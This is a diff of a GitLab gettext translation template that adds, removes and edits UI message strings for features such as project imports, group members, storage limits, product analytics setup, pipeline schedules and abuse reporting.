+msgid "GroupsNew|Remember to enable it also on the instance you are migrating from."
+msgstr ""
+
msgid "GroupsNew|This feature is deprecated and replaced by %{docs_link_start}group migration%{docs_link_end}."
msgstr ""
@@ -20519,6 +20746,9 @@ msgstr ""
msgid "HAR file path or URL"
msgstr ""
+msgid "HTML script tag"
+msgstr ""
+
msgid "HTTP Archive (HAR)"
msgstr ""
@@ -20842,6 +21072,12 @@ msgstr ""
msgid "Hierarchy|Planning hierarchy"
msgstr ""
+msgid "Hierarchy|Something went wrong while fetching children."
+msgstr ""
+
+msgid "Hierarchy|Something went wrong while removing a child item."
+msgstr ""
+
msgid "Hierarchy|Take the work items survey"
msgstr ""
@@ -21256,9 +21492,6 @@ msgstr ""
msgid "If no options are selected, only administrators can register runners."
msgstr ""
-msgid "If none of the options work, try contacting a GitLab administrator."
-msgstr ""
-
msgid "If the number of active users exceeds the user limit, you will be charged for the number of %{users_over_license_link} at your next license reconciliation."
msgstr ""
@@ -21280,6 +21513,9 @@ msgstr ""
msgid "If you add %{codeStart}needs%{codeEnd} to jobs in your pipeline you'll be able to view the %{codeStart}needs%{codeEnd} relationships between jobs in this tab as a %{linkStart}Directed Acyclic Graph (DAG)%{linkEnd}."
msgstr ""
+msgid "If you are unable to sign in or recover your password, contact a GitLab administrator."
+msgstr ""
+
msgid "If you did not initiate these sign-in attempts, please reach out to your administrator or enable two-factor authentication (2FA) on your account."
msgstr ""
@@ -21506,12 +21742,24 @@ msgstr ""
msgid "ImportProjects|Blocked import URL: %{message}"
msgstr ""
+msgid "ImportProjects|Cancel import"
+msgstr ""
+
+msgid "ImportProjects|Cancelling project import failed"
+msgstr ""
+
+msgid "ImportProjects|Cancelling project import failed: %{reason}"
+msgstr ""
+
msgid "ImportProjects|Error importing repository %{project_safe_import_url} into %{project_full_path} - %{message}"
msgstr ""
msgid "ImportProjects|Import repositories"
msgstr ""
+msgid "ImportProjects|Imported files will be kept. You can import this repository again later."
+msgstr ""
+
msgid "ImportProjects|Importing the project failed"
msgstr ""
@@ -22573,7 +22821,7 @@ msgstr ""
msgid "Insights|Configure a custom report for insights into your group processes such as amount of issues, bugs, and merge requests per month. %{linkStart}How do I configure an insights report?%{linkEnd}"
msgstr ""
-msgid "Insights|Some items are not visible beacuse the project was filtered out in the insights.yml file (see the projects.only config for more information)."
+msgid "Insights|Some items are not visible beacuse the project was filtered out in the insights.yml file (see the projects.only config in the YAML file or the enabled project features (issues, merge requests) in the project settings)."
msgstr ""
msgid "Insights|This project is filtered out in the insights.yml file (see the projects.only config for more information)."
@@ -22638,9 +22886,18 @@ msgstr ""
msgid "IntegrationEvents|A confidential issue is created, updated, or closed"
msgstr ""
+msgid "IntegrationEvents|A deployment is started or finished"
+msgstr ""
+
msgid "IntegrationEvents|A merge request is created, updated, or merged"
msgstr ""
+msgid "IntegrationEvents|A new, unique alert is recorded"
+msgstr ""
+
+msgid "IntegrationEvents|A new, unique, vulnerability is recorded. (Note: This feature requires an Ultimate plan)"
+msgstr ""
+
msgid "IntegrationEvents|A pipeline status changes"
msgstr ""
@@ -22791,6 +23048,9 @@ msgstr ""
msgid "Integrations|Instance-level integration management"
msgstr ""
+msgid "Integrations|Integration details"
+msgstr ""
+
msgid "Integrations|Issues created in Jira are shown here once you have created the issues in project setup in Jira."
msgstr ""
@@ -23996,6 +24256,9 @@ msgstr ""
msgid "JiraService|Change GitLab version"
msgstr ""
+msgid "JiraService|Continue setup in GitLab"
+msgstr ""
+
msgid "JiraService|Define the type of Jira issue to create from a vulnerability."
msgstr ""
@@ -24044,6 +24307,9 @@ msgstr ""
msgid "JiraService|If different from Web URL."
msgstr ""
+msgid "JiraService|In order to complete the set up, you’ll need to complete a few steps in GitLab."
+msgstr ""
+
msgid "JiraService|Issues created from vulnerabilities in this project will be Jira issues, even if GitLab issues are enabled."
msgstr ""
@@ -24188,9 +24454,6 @@ msgstr ""
msgid "Jobs|All"
msgstr ""
-msgid "Jobs|An error occurred while loading the Failed Jobs tab."
-msgstr ""
-
msgid "Jobs|Are you sure you want to proceed?"
msgstr ""
@@ -24506,9 +24769,6 @@ msgstr ""
msgid "Kubernetes cluster"
msgstr ""
-msgid "Kubernetes cluster creation time exceeds timeout; %{timeout}"
-msgstr ""
-
msgid "Kubernetes cluster integration and resources are being removed."
msgstr ""
@@ -24675,9 +24935,6 @@ msgstr ""
msgid "Last Seen"
msgstr ""
-msgid "Last Sync"
-msgstr ""
-
msgid "Last Used"
msgstr ""
@@ -24810,6 +25067,9 @@ msgstr ""
msgid "Learn More."
msgstr ""
+msgid "Learn about signing commits"
+msgstr ""
+
msgid "Learn about signing commits with SSH keys."
msgstr ""
@@ -24879,9 +25139,6 @@ msgstr ""
msgid "Learn more about shards and replicas in the %{configuration_link_start}Advanced Search configuration%{configuration_link_end} documentation. Changes don't take place until you %{recreated_link_start}recreate%{recreated_link_end} the index."
msgstr ""
-msgid "Learn more about signing commits"
-msgstr ""
-
msgid "Learn more in the"
msgstr ""
@@ -25653,6 +25910,9 @@ msgstr ""
msgid "Make everyone on your team more productive regardless of their location. GitLab Geo creates read-only mirrors of your GitLab instance so you can reduce the time it takes to clone and fetch large repos."
msgstr ""
+msgid "Make new users' profiles private by default"
+msgstr ""
+
msgid "Make sure you choose a strong, unique password."
msgstr ""
@@ -25668,9 +25928,6 @@ msgstr ""
msgid "Manage %{workspace} labels"
msgstr ""
-msgid "Manage Dashboards"
-msgstr ""
-
msgid "Manage Web IDE features."
msgstr ""
@@ -25770,6 +26027,9 @@ msgstr ""
msgid "Mark to do as done"
msgstr ""
+msgid "Markdown"
+msgstr ""
+
msgid "Markdown Help"
msgstr ""
@@ -25839,9 +26099,6 @@ msgstr ""
msgid "Marked this %{noun} as ready."
msgstr ""
-msgid "Marked this issue as a duplicate of %{duplicate_param}."
-msgstr ""
-
msgid "Marked this issue as related to %{issue_ref}."
msgstr ""
@@ -25854,9 +26111,6 @@ msgstr ""
msgid "Marks this %{noun} as ready."
msgstr ""
-msgid "Marks this issue as a duplicate of %{duplicate_reference}."
-msgstr ""
-
msgid "Marks this issue as related to %{issue_ref}."
msgstr ""
@@ -26196,6 +26450,9 @@ msgstr ""
msgid "MemberRole|can't be changed"
msgstr ""
+msgid "MemberRole|cannot be changed because it is already assigned to a user. Please create a new Member Role instead"
+msgstr ""
+
msgid "MemberRole|must be top-level namespace"
msgstr ""
@@ -26239,6 +26496,9 @@ msgstr[4] ""
msgid "Membership"
msgstr ""
+msgid "Members|%{group} by %{createdBy}"
+msgstr ""
+
msgid "Members|%{time} by %{user}"
msgstr ""
@@ -26248,6 +26508,21 @@ msgstr ""
msgid "Members|2FA"
msgstr ""
+msgid "Members|A group must have at least one owner. To leave this group, assign a new owner."
+msgstr ""
+
+msgid "Members|A group must have at least one owner. To remove the member, assign a new owner."
+msgstr ""
+
+msgid "Members|A personal project's owner cannot be removed."
+msgstr ""
+
+msgid "Members|Access granted"
+msgstr ""
+
+msgid "Members|Activity"
+msgstr ""
+
msgid "Members|An error occurred while trying to enable LDAP override, please try again."
msgstr ""
@@ -26269,10 +26544,10 @@ msgstr ""
msgid "Members|Are you sure you want to remove \"%{groupName}\"?"
msgstr ""
-msgid "Members|Are you sure you want to remove %{usersName} from \"%{source}\"?"
+msgid "Members|Are you sure you want to remove %{userName} from \"%{group}\"?"
msgstr ""
-msgid "Members|Are you sure you want to remove this orphaned member from \"%{source}\"?"
+msgid "Members|Are you sure you want to remove this orphaned member from \"%{group}\"?"
msgstr ""
msgid "Members|Are you sure you want to revoke the invitation for %{inviteEmail} to join \"%{source}\""
@@ -26281,9 +26556,15 @@ msgstr ""
msgid "Members|Are you sure you want to withdraw your access request for \"%{source}\""
msgstr ""
+msgid "Members|Cannot leave \"%{source}\""
+msgstr ""
+
msgid "Members|Direct"
msgstr ""
+msgid "Members|Direct member by %{createdBy}"
+msgstr ""
+
msgid "Members|Disabled"
msgstr ""
@@ -26311,6 +26592,9 @@ msgstr ""
msgid "Members|LDAP override enabled."
msgstr ""
+msgid "Members|Last activity"
+msgstr ""
+
msgid "Members|Leave \"%{source}\""
msgstr ""
@@ -26338,6 +26622,12 @@ msgstr ""
msgid "Members|Search invited"
msgstr ""
+msgid "Members|User created"
+msgstr ""
+
+msgid "Members|You cannot remove yourself from a personal project."
+msgstr ""
+
msgid "Member|Deny access"
msgstr ""
@@ -26623,10 +26913,13 @@ msgstr ""
msgid "MergeRequest|Error loading full diff. Please try again."
msgstr ""
+msgid "MergeRequest|Failed to load the page"
+msgstr ""
+
msgid "MergeRequest|No files found"
msgstr ""
-msgid "MergeRequest|Search (e.g. *.vue) (%{modifier_key}P)"
+msgid "MergeRequest|Search (e.g. *.vue) (%{MODIFIER_KEY}P)"
msgstr ""
msgid "MergeTopics|%{sourceTopic} will be removed"
@@ -26686,6 +26979,9 @@ msgstr ""
msgid "Messages"
msgstr ""
+msgid "Metadata"
+msgstr ""
+
msgid "Method"
msgstr ""
@@ -27119,6 +27415,12 @@ msgstr ""
msgid "MilestoneCombobox|Select milestone"
msgstr ""
+msgid "MilestonePage|Copy milestone ID"
+msgstr ""
+
+msgid "MilestonePage|Milestone ID: %{milestone_id}"
+msgstr ""
+
msgid "MilestoneSidebar|Closed:"
msgstr ""
@@ -27515,6 +27817,9 @@ msgstr ""
msgid "Multiple Prometheus integrations are not supported"
msgstr ""
+msgid "Multiple signatures"
+msgstr ""
+
msgid "Multiplier to apply to polling intervals. Decimal values are supported. Defaults to 1."
msgstr ""
@@ -27539,6 +27844,9 @@ msgstr ""
msgid "Name"
msgstr ""
+msgid "Name can contain only letters, digits, emojis, '_', '.', '+', dashes, or spaces"
+msgstr ""
+
msgid "Name can't be blank"
msgstr ""
@@ -27548,6 +27856,9 @@ msgstr ""
msgid "Name is already taken."
msgstr ""
+msgid "Name must start with a letter, digit, emoji, or '_'"
+msgstr ""
+
msgid "Name new label"
msgstr ""
@@ -27574,24 +27885,36 @@ msgstr[2] ""
msgstr[3] ""
msgstr[4] ""
-msgid "NamespaceStorageSize|%{namespace_name} is now read-only. You cannot: %{base_message}"
+msgid "NamespaceStorageSize|%{namespace_name} is now read-only. Projects under this namespace are locked and actions are restricted."
+msgstr ""
+
+msgid "NamespaceStorageSize|If %{namespace_name} exceeds the storage quota, all projects in the namespace will be locked and actions will be restricted."
+msgstr ""
+
+msgid "NamespaceStorageSize|If you reach 100%% storage capacity, you will not be able to: %{repository_limits_description}"
msgstr ""
-msgid "NamespaceStorageSize|If you reach 100%% storage capacity, you will not be able to: %{base_message}"
+msgid "NamespaceStorageSize|Manage your storage usage or, if you are a namespace Owner, purchase additional storage."
msgstr ""
-msgid "NamespaceStorageSize|Please purchase additional storage to unlock your projects over the free %{free_size_limit} project limit. You can't %{base_message}"
+msgid "NamespaceStorageSize|Please purchase additional storage to unlock your projects over the free %{free_size_limit} project limit. You can't %{repository_limits_description}"
msgstr ""
-msgid "NamespaceStorageSize|You have consumed all of your additional storage, please purchase more to unlock your projects over the free %{free_size_limit} limit. You can't %{base_message}"
+msgid "NamespaceStorageSize|Which actions are restricted?"
msgstr ""
-msgid "NamespaceStorageSize|You have reached %{usage_in_percent} of %{namespace_name}'s storage capacity (%{used_storage} of %{storage_limit})"
+msgid "NamespaceStorageSize|Which actions become restricted?"
+msgstr ""
+
+msgid "NamespaceStorageSize|You have consumed all of your additional storage, please purchase more to unlock your projects over the free %{free_size_limit} limit. You can't %{repository_limits_description}"
msgstr ""
msgid "NamespaceStorageSize|You have reached the free storage limit of %{free_size_limit} on one or more projects."
msgstr ""
+msgid "NamespaceStorageSize|You have used %{usage_in_percent} of the storage quota for %{namespace_name} (%{used_storage} of %{storage_limit})"
+msgstr ""
+
msgid "NamespaceStorageSize|push to your repository, create pipelines, create issues or add comments. To reduce storage capacity, delete unused repositories, artifacts, wikis, issues, and pipelines."
msgstr ""
@@ -27685,6 +28008,27 @@ msgstr ""
msgid "NavigationTheme|Red"
msgstr ""
+msgid "Navigation|Context navigation"
+msgstr ""
+
+msgid "Navigation|Recent groups"
+msgstr ""
+
+msgid "Navigation|Recent projects"
+msgstr ""
+
+msgid "Navigation|Switch to..."
+msgstr ""
+
+msgid "Navigation|View all groups"
+msgstr ""
+
+msgid "Navigation|View all projects"
+msgstr ""
+
+msgid "Navigation|Your work"
+msgstr ""
+
msgid "Nav|Help"
msgstr ""
@@ -27816,9 +28160,6 @@ msgstr ""
msgid "New directory"
msgstr ""
-msgid "New discussion"
-msgstr ""
-
msgid "New email address added"
msgstr ""
@@ -28134,9 +28475,6 @@ msgstr ""
msgid "No labels with such name or description"
msgstr ""
-msgid "No license. All rights reserved"
-msgstr ""
-
msgid "No matches found"
msgstr ""
@@ -28316,6 +28654,21 @@ msgstr ""
msgid "Normal text"
msgstr ""
+msgid "NorthstarNavigation|Alpha"
+msgstr ""
+
+msgid "NorthstarNavigation|Could not update the new navigation preference. Please try again later."
+msgstr ""
+
+msgid "NorthstarNavigation|Navigation redesign"
+msgstr ""
+
+msgid "NorthstarNavigation|New navigation"
+msgstr ""
+
+msgid "NorthstarNavigation|Toggle new navigation"
+msgstr ""
+
msgid "Not all browsers support U2F devices. Therefore, we require that you set up a two-factor authentication app first. That way you'll always be able to sign in - even when you're using an unsupported browser."
msgstr ""
@@ -28864,13 +29217,7 @@ msgstr ""
msgid "Number of Elasticsearch shards and replicas per index:"
msgstr ""
-msgid "Number of Git pushes after which %{code_start}git gc%{code_end} is run."
-msgstr ""
-
-msgid "Number of Git pushes after which a full %{code_start}git repack%{code_end} is run."
-msgstr ""
-
-msgid "Number of Git pushes after which an incremental %{code_start}git repack%{code_end} is run."
+msgid "Number of Git pushes after which Gitaly is asked to optimize a repository."
msgstr ""
msgid "Number of LOCs per commit"
@@ -28921,6 +29268,18 @@ msgstr ""
msgid "Observability"
msgstr ""
+msgid "Observability|Dashboards"
+msgstr ""
+
+msgid "Observability|Data sources"
+msgstr ""
+
+msgid "Observability|Explore"
+msgstr ""
+
+msgid "Observability|Manage dashboards"
+msgstr ""
+
msgid "Oct"
msgstr ""
@@ -29354,6 +29713,9 @@ msgstr ""
msgid "One or more of your personal access tokens has expired."
msgstr ""
+msgid "One or more of your personal access tokens have expired."
+msgstr ""
+
msgid "One or more of your personal access tokens will expire in %{days_to_expire} days or less:"
msgstr ""
@@ -29519,6 +29881,9 @@ msgstr ""
msgid "Opstrace endpoint for Error Tracking integration"
msgstr ""
+msgid "Optimize repository period"
+msgstr ""
+
msgid "Optimize your workflow with CI/CD Pipelines"
msgstr ""
@@ -29947,12 +30312,6 @@ msgstr ""
msgid "PackageRegistry|Helm"
msgstr ""
-msgid "PackageRegistry|Help us learn about your registry migration needs"
-msgstr ""
-
-msgid "PackageRegistry|If you are interested in migrating packages from your private registry to the GitLab Package Registry, take our survey and tell us more about your needs."
-msgstr ""
-
msgid "PackageRegistry|If you haven't already done so, you will need to add the below to your %{codeStart}.pypirc%{codeEnd} file."
msgstr ""
@@ -30114,9 +30473,6 @@ msgstr ""
msgid "PackageRegistry|Source project located at %{link}"
msgstr ""
-msgid "PackageRegistry|Take survey"
-msgstr ""
-
msgid "PackageRegistry|Target SHA: %{sha}"
msgstr ""
@@ -30265,12 +30621,6 @@ msgstr ""
msgid "Parent"
msgstr ""
-msgid "Parent epic doesn't exist."
-msgstr ""
-
-msgid "Parent epic is not present."
-msgstr ""
-
msgid "Parsing error for param :embed_json. %{message}"
msgstr ""
@@ -30802,7 +31152,7 @@ msgstr ""
msgid "PipelineEditor|Waiting for CI content to load..."
msgstr ""
-msgid "PipelineScheduleIntervalPattern|Custom (%{linkStart}Cron syntax%{linkEnd})"
+msgid "PipelineScheduleIntervalPattern|Custom (%{linkStart}Learn more.%{linkEnd})"
msgstr ""
msgid "PipelineSchedules|Activated"
@@ -30817,6 +31167,9 @@ msgstr ""
msgid "PipelineSchedules|Are you sure you want to delete this pipeline schedule?"
msgstr ""
+msgid "PipelineSchedules|Cron timezone"
+msgstr ""
+
msgid "PipelineSchedules|Delete pipeline schedule"
msgstr ""
@@ -30829,6 +31182,9 @@ msgstr ""
msgid "PipelineSchedules|Inactive"
msgstr ""
+msgid "PipelineSchedules|Interval Pattern"
+msgstr ""
+
msgid "PipelineSchedules|Last Pipeline"
msgstr ""
@@ -30856,6 +31212,12 @@ msgstr ""
msgid "PipelineSchedules|Run pipeline schedule"
msgstr ""
+msgid "PipelineSchedules|Save pipeline schedule"
+msgstr ""
+
+msgid "PipelineSchedules|Successfully scheduled a pipeline to run. Go to the %{linkStart}Pipelines page%{linkEnd} for details. "
+msgstr ""
+
msgid "PipelineSchedules|Successfully taken ownership from %{owner}."
msgstr ""
@@ -30874,6 +31236,9 @@ msgstr ""
msgid "PipelineSchedules|There was a problem fetching pipeline schedules."
msgstr ""
+msgid "PipelineSchedules|There was a problem playing the pipeline schedule."
+msgstr ""
+
msgid "PipelineSchedules|There was a problem taking ownership of the pipeline schedule."
msgstr ""
@@ -31828,9 +32193,6 @@ msgstr ""
msgid "Preferences|Choose what content you want to see on a project’s overview page."
msgstr ""
-msgid "Preferences|Choose which Web IDE version you want to use."
-msgstr ""
-
msgid "Preferences|Color for added lines"
msgstr ""
@@ -31888,6 +32250,9 @@ msgstr ""
msgid "Preferences|Must be a number between %{min} and %{max}"
msgstr ""
+msgid "Preferences|Opt out of the Web IDE Beta"
+msgstr ""
+
msgid "Preferences|Preview"
msgstr ""
@@ -31915,7 +32280,10 @@ msgstr ""
msgid "Preferences|Tab width"
msgstr ""
-msgid "Preferences|The legacy Web IDE remains available while the new Web IDE is in Beta."
+msgid "Preferences|The Web IDE Beta is the default Web IDE experience."
+msgstr ""
+
+msgid "Preferences|The Web IDE remains available alongside the Beta."
msgstr ""
msgid "Preferences|This feature is experimental and translations are not yet complete."
@@ -31930,9 +32298,6 @@ msgstr ""
msgid "Preferences|Time preferences"
msgstr ""
-msgid "Preferences|Use legacy Web IDE"
-msgstr ""
-
msgid "Preferences|Use relative times"
msgstr ""
@@ -32044,6 +32409,9 @@ msgstr ""
msgid "Private profile"
msgstr ""
+msgid "Private profile:"
+msgstr ""
+
msgid "Private projects Minutes cost factor"
msgstr ""
@@ -32056,27 +32424,228 @@ msgstr ""
msgid "Proceed"
msgstr ""
-msgid "Product Analytics|Onboarding view"
+msgid "Product Analytics|Add the NPM package to your package.json using your preferred package manager:"
+msgstr ""
+
+msgid "Product Analytics|Add the script to the page and assign the client SDK to window:"
+msgstr ""
+
+msgid "Product Analytics|Analyze your product with Product Analytics"
+msgstr ""
+
+msgid "Product Analytics|For the product analytics dashboard to start showing you some data, you need to add the analytics tracking code to your project."
+msgstr ""
+
+msgid "Product Analytics|Identifies the sender of tracking events"
+msgstr ""
+
+msgid "Product Analytics|Import the new package into your JS code:"
+msgstr ""
+
+msgid "Product Analytics|Instrument your application"
+msgstr ""
+
+msgid "Product Analytics|SDK App ID"
+msgstr ""
+
+msgid "Product Analytics|SDK Host"
+msgstr ""
+
+msgid "Product Analytics|Set up Product Analytics to track how your product is performing. Combine it with your GitLab data to better understand where you can improve your product and development processes."
+msgstr ""
+
+msgid "Product Analytics|Set up product analytics..."
+msgstr ""
+
+msgid "Product Analytics|Steps to add product analytics as a CommonJS module"
+msgstr ""
+
+msgid "Product Analytics|Steps to add product analytics as a HTML script tag"
+msgstr ""
+
+msgid "Product Analytics|Steps to add product analytics as an ESM module"
+msgstr ""
+
+msgid "Product Analytics|The host to send all tracking events to"
+msgstr ""
+
+msgid "Product Analytics|To instrument your application, select one of the options below. After an option has been instrumented and data is being collected, this page will progress to the next step."
msgstr ""
msgid "Product analytics"
msgstr ""
+msgid "ProductAnalytics|Add another dimension"
+msgstr ""
+
msgid "ProductAnalytics|Add to Dashboard"
msgstr ""
+msgid "ProductAnalytics|All clicks compared"
+msgstr ""
+
+msgid "ProductAnalytics|All events compared"
+msgstr ""
+
+msgid "ProductAnalytics|All features"
+msgstr ""
+
+msgid "ProductAnalytics|All pages"
+msgstr ""
+
msgid "ProductAnalytics|An error occured while loading the %{widgetTitle} widget."
msgstr ""
+msgid "ProductAnalytics|An error occurred while fetching data. Refresh the page to try again."
+msgstr ""
+
+msgid "ProductAnalytics|Any Click on elements"
+msgstr ""
+
msgid "ProductAnalytics|Audience"
msgstr ""
+msgid "ProductAnalytics|Browser"
+msgstr ""
+
+msgid "ProductAnalytics|Browser Family"
+msgstr ""
+
+msgid "ProductAnalytics|Choose a chart type on the right"
+msgstr ""
+
+msgid "ProductAnalytics|Choose a measurement to start"
+msgstr ""
+
+msgid "ProductAnalytics|Click Events"
+msgstr ""
+
+msgid "ProductAnalytics|Code"
+msgstr ""
+
+msgid "ProductAnalytics|Compares all events against each other"
+msgstr ""
+
+msgid "ProductAnalytics|Compares click events against each other"
+msgstr ""
+
+msgid "ProductAnalytics|Compares feature usage of all features against each other"
+msgstr ""
+
+msgid "ProductAnalytics|Compares pageviews of all pages against each other"
+msgstr ""
+
+msgid "ProductAnalytics|Dashboards are created by editing the projects dashboard files."
+msgstr ""
+
+msgid "ProductAnalytics|Data"
+msgstr ""
+
+msgid "ProductAnalytics|Data Table"
+msgstr ""
+
+msgid "ProductAnalytics|Dimensions"
+msgstr ""
+
+msgid "ProductAnalytics|Event Type"
+msgstr ""
+
+msgid "ProductAnalytics|Events"
+msgstr ""
+
+msgid "ProductAnalytics|Events grouped by %{granularity}"
+msgstr ""
+
+msgid "ProductAnalytics|Events over time"
+msgstr ""
+
+msgid "ProductAnalytics|Feature Usage"
+msgstr ""
+
+msgid "ProductAnalytics|Feature usage"
+msgstr ""
+
+msgid "ProductAnalytics|Host"
+msgstr ""
+
+msgid "ProductAnalytics|Language"
+msgstr ""
+
+msgid "ProductAnalytics|Line Chart"
+msgstr ""
+
+msgid "ProductAnalytics|Measure All tracked Events"
+msgstr ""
+
+msgid "ProductAnalytics|Measure all or specific Page Views"
+msgstr ""
+
+msgid "ProductAnalytics|Measuring"
+msgstr ""
+
msgid "ProductAnalytics|New Analytics Widget Title"
msgstr ""
+msgid "ProductAnalytics|OS"
+msgstr ""
+
+msgid "ProductAnalytics|OS Version"
+msgstr ""
+
+msgid "ProductAnalytics|On what do you want to get insights?"
+msgstr ""
+
+msgid "ProductAnalytics|Page Language"
+msgstr ""
+
+msgid "ProductAnalytics|Page Path"
+msgstr ""
+
+msgid "ProductAnalytics|Page Title"
+msgstr ""
+
+msgid "ProductAnalytics|Page Views"
+msgstr ""
+
+msgid "ProductAnalytics|Pages"
+msgstr ""
+
+msgid "ProductAnalytics|Product analytics dashboards"
+msgstr ""
+
+msgid "ProductAnalytics|Referer"
+msgstr ""
+
+msgid "ProductAnalytics|Resulting Data"
+msgstr ""
+
msgid "ProductAnalytics|There is no data for this type of chart currently. Please see the Setup tab if you have not configured the product analytics tool already."
msgstr ""
+msgid "ProductAnalytics|Track specific features"
+msgstr ""
+
+msgid "ProductAnalytics|URL"
+msgstr ""
+
+msgid "ProductAnalytics|User activity"
+msgstr ""
+
+msgid "ProductAnalytics|Users"
+msgstr ""
+
+msgid "ProductAnalytics|Viewport"
+msgstr ""
+
+msgid "ProductAnalytics|Visualization Type"
+msgstr ""
+
+msgid "ProductAnalytics|What do you want to measure?"
+msgstr ""
+
+msgid "ProductAnalytics|Widget"
+msgstr ""
+
msgid "Productivity"
msgstr ""
@@ -32731,6 +33300,18 @@ msgstr ""
msgid "ProjectLastActivity|Never"
msgstr ""
+msgid "ProjectList|Explore"
+msgstr ""
+
+msgid "ProjectList|Starred"
+msgstr ""
+
+msgid "ProjectList|Topics"
+msgstr ""
+
+msgid "ProjectList|Yours"
+msgstr ""
+
msgid "ProjectOverview|Fork"
msgstr ""
@@ -32950,6 +33531,9 @@ msgstr ""
msgid "ProjectService|Trigger event when a wiki page is created or updated."
msgstr ""
+msgid "ProjectService|Trigger event when an incident is created."
+msgstr ""
+
msgid "ProjectService|Trigger event when an issue is created, updated, or closed."
msgstr ""
@@ -33025,9 +33609,6 @@ msgstr ""
msgid "ProjectSettings|Configure your infrastructure."
msgstr ""
-msgid "ProjectSettings|Configure your project resources and monitor their health."
-msgstr ""
-
msgid "ProjectSettings|Contact an admin to change this setting."
msgstr ""
@@ -33199,9 +33780,6 @@ msgstr ""
msgid "ProjectSettings|Only signed commits can be pushed to this repository."
msgstr ""
-msgid "ProjectSettings|Operations"
-msgstr ""
-
msgid "ProjectSettings|Override user notification preferences for all project members."
msgstr ""
@@ -33352,10 +33930,10 @@ msgstr ""
msgid "ProjectSettings|Users can copy the repository to a new project."
msgstr ""
-msgid "ProjectSettings|Users can only push commits to this repository if the committer email is one of their own verified emails."
+msgid "ProjectSettings|Users can only push commits to this repository if the commit author name is consistent with their GitLab account name."
msgstr ""
-msgid "ProjectSettings|Users can only push commits to this repository if the committer name is consistent with their git config username."
+msgid "ProjectSettings|Users can only push commits to this repository if the committer email is one of their own verified emails."
msgstr ""
msgid "ProjectSettings|Users can request access"
@@ -33487,6 +34065,9 @@ msgstr ""
msgid "ProjectTemplates|Spring"
msgstr ""
+msgid "ProjectTemplates|TYPO3 Distribution"
+msgstr ""
+
msgid "ProjectTemplates|Tencent Serverless Framework/NextjsSSR"
msgstr ""
@@ -34111,6 +34692,24 @@ msgstr ""
msgid "ProtectedBranch|default"
msgstr ""
+msgid "ProtectedEnvironments|Allowed to deploy"
+msgstr ""
+
+msgid "ProtectedEnvironments|An error occurred while fetching information on the selected approvers."
+msgstr ""
+
+msgid "ProtectedEnvironments|Approval rules"
+msgstr ""
+
+msgid "ProtectedEnvironments|Number of approvals must be between 1 and 5"
+msgstr ""
+
+msgid "ProtectedEnvironments|Set which groups, access levels or users are required to approve."
+msgstr ""
+
+msgid "ProtectedEnvironments|Set which groups, access levels or users that are allowed to deploy to this environment"
+msgstr ""
+
msgid "ProtectedEnvironment|%{environment_name} will be writable for developers. Are you sure?"
msgstr ""
@@ -34123,6 +34722,9 @@ msgstr ""
msgid "ProtectedEnvironment|Allowed to deploy to %{project} / %{environment}"
msgstr ""
+msgid "ProtectedEnvironment|Approvers"
+msgstr ""
+
msgid "ProtectedEnvironment|Environment"
msgstr ""
@@ -34159,6 +34761,9 @@ msgstr ""
msgid "ProtectedEnvironment|Select an environment"
msgstr ""
+msgid "ProtectedEnvironment|Select environment"
+msgstr ""
+
msgid "ProtectedEnvironment|Select groups"
msgstr ""
@@ -34895,6 +35500,9 @@ msgstr ""
msgid "Reload page"
msgstr ""
+msgid "Reload the page to try again."
+msgstr ""
+
msgid "Remediations"
msgstr ""
@@ -35162,9 +35770,6 @@ msgstr ""
msgid "Renew subscription"
msgstr ""
-msgid "Renews"
-msgstr ""
-
msgid "Reopen"
msgstr ""
@@ -35222,9 +35827,6 @@ msgstr ""
msgid "Replaces the clone URL root."
msgstr ""
-msgid "Replication"
-msgstr ""
-
msgid "Reply"
msgstr ""
@@ -35261,6 +35863,33 @@ msgstr ""
msgid "Report your license usage data to GitLab"
msgstr ""
+msgid "ReportAbuse|Something else."
+msgstr ""
+
+msgid "ReportAbuse|They're being offsensive or abusive."
+msgstr ""
+
+msgid "ReportAbuse|They're crypto mining."
+msgstr ""
+
+msgid "ReportAbuse|They're phising."
+msgstr ""
+
+msgid "ReportAbuse|They're posting malware."
+msgstr ""
+
+msgid "ReportAbuse|They're posting personal information or credentials."
+msgstr ""
+
+msgid "ReportAbuse|They're posting spam."
+msgstr ""
+
+msgid "ReportAbuse|They're violating a copyright or trademark."
+msgstr ""
+
+msgid "ReportAbuse|Why are you reporting this user?"
+msgstr ""
+
msgid "Reported %{timeAgo} by %{reportedBy}"
msgstr ""
@@ -36249,7 +36878,7 @@ msgstr ""
msgid "Runners|Executor"
msgstr ""
-msgid "Runners|Existing runners are not affected. To permit runner registration for all groups, enable this setting in the Admin Area in Settings &gt CI/CD."
+msgid "Runners|Existing runners are not affected. To permit runner registration for all groups, enable this setting in the Admin Area in Settings &gt; CI/CD."
msgstr ""
msgid "Runners|Filter projects"
@@ -36628,7 +37257,7 @@ msgstr ""
msgid "Runners|Yes, start deleting stale runners"
msgstr ""
-msgid "Runners|You can set up a specific runner to be used by multiple projects but you cannot make this a shared runner."
+msgid "Runners|You can set up a specific runner to be used by multiple projects but you cannot make this a shared or group runner."
msgstr ""
msgid "Runners|You have used %{quotaUsed} out of %{quotaLimit} of your shared Runners pipeline minutes."
@@ -36835,6 +37464,12 @@ msgstr ""
msgid "ScanExecutionPolicy|A pipeline is run"
msgstr ""
+msgid "ScanExecutionPolicy|Ex, tag-name-1, tag-name-2"
+msgstr ""
+
+msgid "ScanExecutionPolicy|If the field is empty, the runner will be automatically selected"
+msgstr ""
+
msgid "ScanExecutionPolicy|Scanner profile"
msgstr ""
@@ -36859,9 +37494,6 @@ msgstr ""
msgid "ScanExecutionPolicy|Select site profile"
msgstr ""
-msgid "ScanExecutionPolicy|Select tags (if any)"
-msgstr ""
-
msgid "ScanExecutionPolicy|Site profile"
msgstr ""
@@ -36877,6 +37509,9 @@ msgstr ""
msgid "ScanExecutionPolicy|in namespaces"
msgstr ""
+msgid "ScanResultPolicy|%{count} licenses"
+msgstr ""
+
msgid "ScanResultPolicy|%{ifLabelStart}if%{ifLabelEnd} %{scanners} find(s) more than %{vulnerabilitiesAllowed} %{severities} %{vulnerabilityStates} vulnerabilities in an open merge request targeting %{branches}"
msgstr ""
@@ -36886,12 +37521,36 @@ msgstr ""
msgid "ScanResultPolicy|%{thenLabelStart}Then%{thenLabelEnd} Require approval from %{approvalsRequired} of the following approvers:"
msgstr ""
+msgid "ScanResultPolicy|Newly Detected"
+msgstr ""
+
+msgid "ScanResultPolicy|Pre-existing"
+msgstr ""
+
msgid "ScanResultPolicy|add an approver"
msgstr ""
+msgid "ScanResultPolicy|except"
+msgstr ""
+
